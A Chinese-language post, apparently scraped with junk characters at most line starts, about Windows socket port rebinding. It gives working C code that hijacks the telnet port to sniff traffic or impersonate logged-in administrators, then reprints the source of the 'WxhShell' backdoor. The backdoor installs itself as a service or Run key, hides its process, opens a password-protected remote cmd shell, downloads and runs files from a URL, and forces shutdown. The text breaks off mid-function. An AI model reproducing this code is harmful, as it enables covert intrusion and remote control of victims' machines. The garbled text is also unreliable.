在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
a[u8x mH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r`krv-,O$ 8O7JuR saddr.sin_family = AF_INET;
'"TBhisky 99eS@}RC saddr.sin_addr.s_addr = htonl(INADDR_ANY);
s)L7o)56/ }Bb(wP^B. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
g7H;d #Q{6/{bM&J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w_-{$8| AV'> 这意味着什么?意味着可以进行如下的攻击:
q4Z\y J3'"-,Hv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QVP
$e`4 CeZ5Ti?F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
QA%GK4F70 |9Y9pked8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0Icyi#N >Kr,(8rA 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
XI0O^[/n{ U/ZbE?it> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}C'z$i( y 6>"0H/y, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n% *u;iG gC3{:MC-G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wb{y]~&6K +F/ '+ #include
w&H
?; 1 #include
;?y?s'>t& #include
REt()$
7~ #include
+-oXW>`& DWORD WINAPI ClientThread(LPVOID lpParam);
8'?e4;O int main()
-r,J>2`l {
\\'!<Bn2d WORD wVersionRequested;
^GbyA YEp DWORD ret;
HU'd/5fun WSADATA wsaData;
+<iw|vr BOOL val;
Y,8M[UIK SOCKADDR_IN saddr;
$HH(8NoL SOCKADDR_IN scaddr;
*s!8BwiE int err;
_
x7Vyy5 SOCKET s;
:4WwCpgz, SOCKET sc;
Y3-P* int caddsize;
lf Giw^ HANDLE mt;
3!d|K%J DWORD tid;
uM\~*@ wVersionRequested = MAKEWORD( 2, 2 );
x=H*"L= err = WSAStartup( wVersionRequested, &wsaData );
c)lK{DC if ( err != 0 ) {
1{,WY(,c printf("error!WSAStartup failed!\n");
Mpj3<vj return -1;
~@-Az([H }
A$
S9
` saddr.sin_family = AF_INET;
L*5&hPU Yd,*LYd2EL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
u'N'<(\k 9 ROKueP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~MXPiZG? saddr.sin_port = htons(23);
+28FB[W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u54+oh|,M {
$;@s
printf("error!socket failed!\n");
l"MEX/ return -1;
K=~h1qV: }
w,l1&=d val = TRUE;
/fD)/x //SO_REUSEADDR选项就是可以实现端口重绑定的
r)b`3= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nyMA%9,B {
>#kzPYsp printf("error!setsockopt failed!\n");
eAl&[_o|S return -1;
0h; -Yg }
Q0r_+0[7j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O" z=+79q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W0?yPP=. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p?!]sO1l H8\N~> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
51rM6
BT {
NfN#q:w1 ret=GetLastError();
$GYy[-.` printf("error!bind failed!\n");
]];7ozS)X return -1;
]{y ';MZ }
C4n5U^ listen(s,2);
r`
3)sc while(1)
3)T5}_ {
`yVJ `}hm caddsize = sizeof(scaddr);
|d Soq~Vz //接受连接请求
,{.&xJ$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
EJ86k>] if(sc!=INVALID_SOCKET)
R{*p\; {
SQliF[- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
PanyN3rC* if(mt==NULL)
CUYp(GU {
zZDr=6|r_ printf("Thread Creat Failed!\n");
."H5.' break;
hZ%Ie%~n }
Gud!(5' }
f[%iRfUFw CloseHandle(mt);
Ya>cGaLq }
HDC`g closesocket(s);
#}A!Bk WSACleanup();
HL_MuyE return 0;
B'=*92i>S }
M
r@M~ - DWORD WINAPI ClientThread(LPVOID lpParam)
K&S~IFy {
R!,RZ?|v SOCKET ss = (SOCKET)lpParam;
,>Yz1P)L SOCKET sc;
ah}aL7dgO unsigned char buf[4096];
^beW*O! SOCKADDR_IN saddr;
xxedezNko long num;
kDm=Cjxv DWORD val;
z~X] v["d DWORD ret;
K7y}R%QF //如果是隐藏端口应用的话,可以在此处加一些判断
a#mdD:,cF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bb#w]!q saddr.sin_family = AF_INET;
FS']3uJ/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,@2O_O`: saddr.sin_port = htons(23);
2
OGg`1XX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'9b<r7\@ {
3nG(z> printf("error!socket failed!\n");
b9:E0/6
return -1;
LtNG<n)_BH }
"3!4 hiU9 val = 100;
wlkS+$< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m2 OP=z@) {
Ot/Y?=j~ ret = GetLastError();
7$w:~VZ return -1;
ukZL }
2Gx&ECa, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WLizgVM {
4S9AXE6 ret = GetLastError();
`
a@NYi6 return -1;
6v.*%E*P }
m>a6,#I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
< ' T6k\ {
VGe/;&1h printf("error!socket connect failed!\n");
|&C.P?q closesocket(sc);
$<T)_g closesocket(ss);
xo?f90+( return -1;
fE M8/bhq }
fPspJug while(1)
Q PGssQR6 {
HeR-;L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6g<JPc //如果是嗅探内容的话,可以再此处进行内容分析和记录
<Q%o}m4Kt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Vg2s~ce{ num = recv(ss,buf,4096,0);
;B
tRDKn if(num>0)
kR'!;}s send(sc,buf,num,0);
C
YnBZ else if(num==0)
r{Xh]U&>k break;
/LJ?JwAvg5 num = recv(sc,buf,4096,0);
f9#B(4Tgi if(num>0)
BPC$ v\a send(ss,buf,num,0);
dmf~w_(7 else if(num==0)
uD<*g(R break;
Oa*/jZjr }
bu\,2t}B closesocket(ss);
l%;)0gT closesocket(sc);
ydBoZ3 } return 0 ;
&?x^I{j }
l&E- H@Pe v6iV#yz3( D<nTo&m_ ==========================================================
>j\zj] -" ah~7T~ 下边附上一个代码,,WXhSHELL
)LnHm 0Wk}d(f ==========================================================
d~YDg{H Kf(% aDYq #include "stdafx.h"
)M}bc1 _ BEu9gu #include <stdio.h>
N7Dm,Q ] #include <string.h>
Is-Kz}4L #include <windows.h>
I:='LH, #include <winsock2.h>
m3.d!~U\ #include <winsvc.h>
&oNy~l
o #include <urlmon.h>
P3(u+UI3 }1'C!]j #pragma comment (lib, "Ws2_32.lib")
a_FJN zL #pragma comment (lib, "urlmon.lib")
{iHC;a5gb$ V18w #define MAX_USER 100 // 最大客户端连接数
/&dC? bY #define BUF_SOCK 200 // sock buffer
<udp:s3#T #define KEY_BUFF 255 // 输入 buffer
5>/,25
99 3wa }p^ #define REBOOT 0 // 重启
$zDW)%nAX #define SHUTDOWN 1 // 关机
OHe<U8iu% ~/
"aD #define DEF_PORT 5000 // 监听端口
U9kt7#@FDK < R0c=BZ> #define REG_LEN 16 // 注册表键长度
u:fiil$ #define SVC_LEN 80 // NT服务名长度
QNn$`Qz. 3"&6rdF\jB // 从dll定义API
q!}&<w~| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5Ss=z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.wYx_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
AY|8wf,LS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W0l|E&fj[ t5[{ihv~: // wxhshell配置信息
hm?-QVRPV struct WSCFG {
>.~^( int ws_port; // 监听端口
Ujb||(W char ws_passstr[REG_LEN]; // 口令
b Kv9F@ int ws_autoins; // 安装标记, 1=yes 0=no
k1B7uA'h"G char ws_regname[REG_LEN]; // 注册表键名
O!uX:TE|Q char ws_svcname[REG_LEN]; // 服务名
5(TI2,4 char ws_svcdisp[SVC_LEN]; // 服务显示名
03_tt7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z#MPlw0B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GT2;o int ws_downexe; // 下载执行标记, 1=yes 0=no
/.Gx
n0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8v c4J5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1+Ja4`o,iS pSay^9ZI };
Ij/c@#q. 'szkn0 // default Wxhshell configuration
Ow mI*` struct WSCFG wscfg={DEF_PORT,
@ttcFX1:W "xuhuanlingzhe",
5-aCNAF2 1,
Q!|. ,?V "Wxhshell",
rOH8W "Wxhshell",
I)9;4lix "WxhShell Service",
"7iHTV "Wrsky Windows CmdShell Service",
e2 Ba@e- "Please Input Your Password: ",
Z}$.Tm 1,
a)[t kjU "
http://www.wrsky.com/wxhshell.exe",
/?HRq ?n "Wxhshell.exe"
lvcX}{>\ };
x~A""*B~ }Geip@Ot // 消息定义模块
8_m dh + char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
d;H1B/ char *msg_ws_prompt="\n\r? for help\n\r#>";
Y
KeOH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
GS \- char *msg_ws_ext="\n\rExit.";
js'*:*7 char *msg_ws_end="\n\rQuit.";
.kvuI6H char *msg_ws_boot="\n\rReboot...";
H&`p9d*(e char *msg_ws_poff="\n\rShutdown...";
X -6Se char *msg_ws_down="\n\rSave to ";
w,9$*=k
>"N \ZC^ char *msg_ws_err="\n\rErr!";
e2k!5OS char *msg_ws_ok="\n\rOK!";
]={:VsnL Fl^.J<Dz char ExeFile[MAX_PATH];
{Km|SG[-q int nUser = 0;
NNb17=q_v HANDLE handles[MAX_USER];
wzT+V, int OsIsNt;
%\%1EZQ% XNd:x{ SERVICE_STATUS serviceStatus;
&I <R|a SERVICE_STATUS_HANDLE hServiceStatusHandle;
U/wY;7{)# H Viu7kue` // 函数声明
:G,GHU'/78 int Install(void);
U7bG(?k) int Uninstall(void);
6D_4o&N int DownloadFile(char *sURL, SOCKET wsh);
FxD\F int Boot(int flag);
Cf2rRH void HideProc(void);
ib*$3Fn~ int GetOsVer(void);
DV]Kd
7 int Wxhshell(SOCKET wsl);
V]`V3cy1+3 void TalkWithClient(void *cs);
$bD 3 int CmdShell(SOCKET sock);
-GH#nF3G int StartFromService(void);
qm@c[b int StartWxhshell(LPSTR lpCmdLine);
6D/5vM1 nU||Jg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z:)\j. VOID WINAPI NTServiceHandler( DWORD fdwControl );
x!]ZVl] f+1)Ju~ // 数据结构和表定义
_f{'&YhUU SERVICE_TABLE_ENTRY DispatchTable[] =
^5QSV\X {
g6;O)b {wscfg.ws_svcname, NTServiceMain},
=HYMX"s {NULL, NULL}
<),FI <~ };
Q3_ia5 `O %~ZOQ%c1 // 自我安装
?Ju=L| int Install(void)
`{ou4H\ {
n[AJ'A{ char svExeFile[MAX_PATH];
%fK"g2: HKEY key;
2pxl! strcpy(svExeFile,ExeFile);
}m\ W(a=ev2sa // 如果是win9x系统,修改注册表设为自启动
j;J4]]R;o if(!OsIsNt) {
*`=V"nXw$| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.'L@$]!G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c3g\*)Jz"F RegCloseKey(key);
4$1sBY/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JG0TbM1(Bt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
By:A9s RegCloseKey(key);
J:M^oA'N:> return 0;
8{epy }
3:dQN;= }
*"q ~z }
"<txg%j\J else {
Z\4l+.R` ;UArDw H // 如果是NT以上系统,安装为系统服务
+Y'(,J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7f~.Qus if (schSCManager!=0)
h8$lDFo {
&AoXv`l4 SC_HANDLE schService = CreateService
W29@`93 (
ft?J|AG schSCManager,
[gqV}Y"Md wscfg.ws_svcname,
P0 hC4Sxf wscfg.ws_svcdisp,
;~tKNytD`B SERVICE_ALL_ACCESS,
l2X'4_d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<Mxy&9}ic SERVICE_AUTO_START,
G\ru% SERVICE_ERROR_NORMAL,
k
32Jz.\B svExeFile,
S^a")U4 NULL,
}gGcYRT NULL,
BQ2DQ7q NULL,
lk)38. NULL,
6- s/\ NULL
tb"UGa );
u01x}Ff~6 if (schService!=0)
" q0lh {
o~*% g. CloseServiceHandle(schService);
B14z<x}Q
CloseServiceHandle(schSCManager);
65)/|j+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_@ev(B strcat(svExeFile,wscfg.ws_svcname);
CM!bD\5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Y'DI@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
p*8=($j4 RegCloseKey(key);
i%:oO
KI return 0;
wHEt;rc( }
X8GIRL)lJ }
8I$>e ( CloseServiceHandle(schSCManager);
z^ rf; }
69p>?zn }
;mjk`6p es6!p 7p? return 1;
'W@X139zq }
jL<:N
8 L(fOe3
v // 自我卸载
+>M^p2l*& int Uninstall(void)
`gDpb.=Y {
C-V,3}=*2 HKEY key;
9l]+rs+ Tu o`>ZA if(!OsIsNt) {
F;kY5+a7~e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^mv F%"g RegDeleteValue(key,wscfg.ws_regname);
Y[R veF RegCloseKey(key);
7;2j^qPr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*:{s|18Pj RegDeleteValue(key,wscfg.ws_regname);
&5h{XSv RegCloseKey(key);
>7V96jL$Y return 0;
iP]KV.e'/C }
TWZ**S- }
:k*'MU} }
z"Miy else {
T~8= =Z{[ O3/][\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~! ;*C if (schSCManager!=0)
($pN OGH {
@.0>gmY;: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
BKvX,[R2 if (schService!=0)
6<u=hhL {
AJ}QS?p8s if(DeleteService(schService)!=0) {
K|,P CloseServiceHandle(schService);
lqe|1vN CloseServiceHandle(schSCManager);
)S@e&a|
return 0;
X'Q?Mh }
8eq*q CloseServiceHandle(schService);
2[
=
=
}
9:
N[9;(' CloseServiceHandle(schSCManager);
q!iTDg*$ }
55q!2>Jh. }
_N)/X|=~s nsn return 1;
DcYL8u }
E)sC:oO v=5H,4UMA // 从指定url下载文件
KCP$i@Pjv int DownloadFile(char *sURL, SOCKET wsh)
#NQpr {
JYbsta HRESULT hr;
4PK/8^@7)> char seps[]= "/";
!iv6k~.e'2 char *token;
S!WG|75B char *file;
>x?x3 #SX char myURL[MAX_PATH];
IR JN char myFILE[MAX_PATH];
b3. ;QO3^P} strcpy(myURL,sURL);
}aO6% token=strtok(myURL,seps);
t2x2_;a while(token!=NULL)
BOt1J_;(rO {
CWT#1L= file=token;
#zmt x0 token=strtok(NULL,seps);
9*~bAgkWI }
f/xQy}4+~E xVxN
@[ GetCurrentDirectory(MAX_PATH,myFILE);
L a>fvm strcat(myFILE, "\\");
VAW:h5j2@ strcat(myFILE, file);
%_Q+@9 send(wsh,myFILE,strlen(myFILE),0);
Cv[_N%3[ send(wsh,"...",3,0);
6v"WI@b4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8c`EB-y if(hr==S_OK)
5Ve`j,`=< return 0;
uB=DC'lkg else
srlxp_^ return 1;
F8H4R7
8>;
5ENU}0W }
e"#QUc( &?[g8A // 系统电源模块
8Z|A'M int Boot(int flag)
o$QC:%[# {
p40;@gUug HANDLE hToken;
v6U Gr4 TOKEN_PRIVILEGES tkp;
~nJ"#Q_T |)VNf.aJZ if(OsIsNt) {
HPMj+xH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
uG7?:) pxv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
YsO3( HS tkp.PrivilegeCount = 1;
n'To: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bvW3[ V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;fW`#aE if(flag==REBOOT) {
%i6/=
'u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
++sbSl)Q return 0;
jl>jy6T }
BUCPO}I else {
|.z4 VJi4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2=
Y8$- return 0;
5BJn_< }
~|G`f\Ln" }
c(b2f-0!4 else {
9Y:Iha`$w if(flag==REBOOT) {
00B,1Q HP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0.\}D:x(z return 0;
<a&w$Zc/ }
tmd{Gx}c else {
u4tv=+jh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
x4i&;SP0 return 0;
m\oxS;fxWi }
j[Jwa*GQP }
+B[XTn,Cru :q >)c] return 1;
2:@,~{`#* }
s)jNP\- mBxMDnh // win9x进程隐藏模块
b0sj0w / void HideProc(void)
]u^ybW" {
[!C!R$AMa Z;z,dw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nA(5p?D+YB if ( hKernel != NULL )
? o&goiM {
P2&0bNY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n/Dg)n? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9mW FreeLibrary(hKernel);
#
0d7 }
u+y3(0 Scug
wSB return;
Rh!m1Q(- }
TS`m&N{i") !3<b#QAXRG // 获取操作系统版本
Sz:PeUr9h int GetOsVer(void)
'pyIMB?x {
'[HBKn$` OSVERSIONINFO winfo;
G)?j(El
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
o=RxQk1N GetVersionEx(&winfo);
^I9U<iNIL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Em4'b1mDX% return 1;
.:XX c else
*Kpw@4G return 0;
Ga+Cb2$ }
mG1!~}[ )Y&B63]B // 客户端句柄模块
D-D8La?0p int Wxhshell(SOCKET wsl)
03AQB;. {
k{'<J(Hb SOCKET wsh;
I]HLWF struct sockaddr_in client;
@NiLKcL# DWORD myID;
G0kF[8Am m^zD'] while(nUser<MAX_USER)
Bp5%&T k {
@=}NMoNH int nSize=sizeof(client);
)y6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1;?w#/&t if(wsh==INVALID_SOCKET) return 1;
I FvigDj? g6xQQ,q=l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
oKr= ]p if(handles[nUser]==0)
R5mb4 closesocket(wsh);
lYS " else
,<C~DSAyZ nUser++;
(uX"n`Dk }
SmRFxqtN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A/&u/?*C gK"(;Jih$ return 0;
a^^OI|? }
IF@vl z
=\ENG|x# // 关闭 socket
m&#D ~ void CloseIt(SOCKET wsh)
xIV#}z0 {
Q/J <$W*, closesocket(wsh);
l^%52m@{ nUser--;
Bs|#7mA[ ExitThread(0);
hhhxsGyv }
@$CPTv3e KZ1m2R}' // 客户端请求句柄
*v: .]_; void TalkWithClient(void *cs)
6ZwQ/~7H {
0+)1KU)I -O r\ SOCKET wsh=(SOCKET)cs;
"Er8RUJA char pwd[SVC_LEN];
FW)~e*@8= char cmd[KEY_BUFF];
$VP\Ac,! char chr[1];
/Z~$`!J int i,j;
EMxMJ= >]A#_p while (nUser < MAX_USER) {
>6W #v[ c/=\YeR if(wscfg.ws_passstr) {
{9) HB: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{%RwZ'
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W6r3v)~ //ZeroMemory(pwd,KEY_BUFF);
b\kA i=0;
kIe)ocJg while(i<SVC_LEN) {
qv>l Y4lN xvY // 设置超时
|VjD. ]I fd_set FdRead;
5 /T#>l< struct timeval TimeOut;
}[PC
YnS FD_ZERO(&FdRead);
qP zxP @4
FD_SET(wsh,&FdRead);
jK%Lewq TimeOut.tv_sec=8;
(dx~lMI TimeOut.tv_usec=0;
@k# xr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T1 1>&K) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Q ~n%c7 3hEbM'L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cBU3Q<^ pwd
=chr[0]; hBifn\dFr
if(chr[0]==0xd || chr[0]==0xa) { ah(k!0PV
pwd=0; dDAl n+
break; DeeV;?:
} yMmUOIxk\
i++; DMSC(Sz
} ;#8xRLW
.$Yp~
// 如果是非法用户,关闭 socket E8t{[N6d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <xrya_R?
} s;[=B
X`-o0HG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L)S
V?FBx
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6X+:r`>u
zz<o4bR
while(1) { T-x9IoE
l1 _"9a%H
ZeroMemory(cmd,KEY_BUFF); x^cJ~e2
Fiw^twz5
// 自动支持客户端 telnet标准 3Tc90p l*t
j=0; FBOgaI83G
while(j<KEY_BUFF) { x2/ciC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /^gu&xnS
cmd[j]=chr[0]; /)dyAX(
if(chr[0]==0xa || chr[0]==0xd) { "`4M4`'
cmd[j]=0; ,% .)mf
break; v`Ja Bn
} 7h:EU7
j++; ^gY'^2bzxu
} /YvwQ
>7cDfv"
// 下载文件 r;>.*60AT
if(strstr(cmd,"http://")) { M~y}0Ik
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H:WuMw D4
if(DownloadFile(cmd,wsh)) Id>I.e4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;
0M"T[c
else >66
`hZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); znIS2{p/`
} )wdd"*hv
else { 5)0'$Xxqa0
|0X~D}r|J
switch(cmd[0]) { ta'wX
0bSnD|#I
// 帮助 rd=+[:7L
case '?': { QBfo=9[=e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N0ef5J
JM`
break; :KGPQ@:O
} Bo'v!bI7
// 安装 5aXE^.`
case 'i': { ~\<L74BB
if(Install()) 6['o^>\}f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/l6c P
else 41Ab,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m6A\R KJ'
break; 6.[3N~pq
} ;hEeFJ=/G
// 卸载 1F+JyZK}w
case 'r': { )@=fGN Dt
if(Uninstall()) [dqh-7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ''q#zEf6
else L!`PM.:9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !HP=Rgh
break; dVn_+1\L
} Q]$pg 5O
// 显示 wxhshell 所在路径 &;<'AF
case 'p': { QHnC(b
char svExeFile[MAX_PATH]; j6L (U~%
strcpy(svExeFile,"\n\r"); k/BlkjlNE
strcat(svExeFile,ExeFile); H!l9a
send(wsh,svExeFile,strlen(svExeFile),0); wLvM<p7OX
break; IABF_GwF
} {.e^1qE
// 重启 hZ"Sqm]
case 'b': { 0JqvV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eF' l_*
if(Boot(REBOOT)) gyT0h?xDt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Sp/N4+
else { H6/gRv@
closesocket(wsh); FC]n?1?<(
ExitThread(0); 8==_43
} F6>oGmLy
break; 0Fsa&<{6?
} .S4%Q9l
// 关机 GLMpWD`Wo
case 'd': { {A)9ePgv!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \BO6.;jA
if(Boot(SHUTDOWN))
+AFBTJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\P
`<
else { j[dgY1yE:
closesocket(wsh); NYzBfL
x
ExitThread(0); VSh&Y_%
} Nu'ox. V
break; _sY;
dS/
} &)_
z!
// 获取shell I8YCXh
case 's': { .nEiYS|T
CmdShell(wsh); k)W&ZY
closesocket(wsh); Q8.LlE999
ExitThread(0); }XqC'z
break; dQO5
} U\-R'Z>M
// 退出 rZ2cC#
case 'x': { _6g(C_m'T?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s=556
CloseIt(wsh); Py?Q::
break; iJCv+p_f
} jvo^I$|2h
// 离开 o8NRu7@?
case 'q': { 9n"MNedqH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *M$'dLn
closesocket(wsh);
;kT~&.,y
WSACleanup(); 6&
6|R3
exit(1); SDVnyT
break; yM,Y8^
} D_`NCnYG
} J"TF@7{p
} X}g3[
,,BWWFg~
// 提示信息 w6pXF5ur>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ff~1>=^
} cmU>A721
} K_!:oe7%
9}H]4"f7
return; $+$l?2
} p+dOw#
(%"9LYv
// shell模块句柄 IFhS(3YK[
int CmdShell(SOCKET sock) c@J@*.q]
{ ~@#a*="
STARTUPINFO si; +d(|Jid
ZeroMemory(&si,sizeof(si)); iq,rS"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $dA]GWW5A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]b:>7_la
PROCESS_INFORMATION ProcessInfo; 9Hd_sNUu\
char cmdline[]="cmd"; y*p02\)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IIAmx[ b
return 0; L|6I
}
T;V!>W37
DgY
!)cS
// 自身启动模式 |"+Ufw^
int StartFromService(void) `3@?)xa
{ l,zhBnD
typedef struct h[Uo6`
{ <1
;pyw
y
DWORD ExitStatus; ?nWzJ5w3
DWORD PebBaseAddress; 3xiDt?&H
DWORD AffinityMask; g(,^';j
DWORD BasePriority; n|KYcU#
ULONG UniqueProcessId; FYK`.>L28
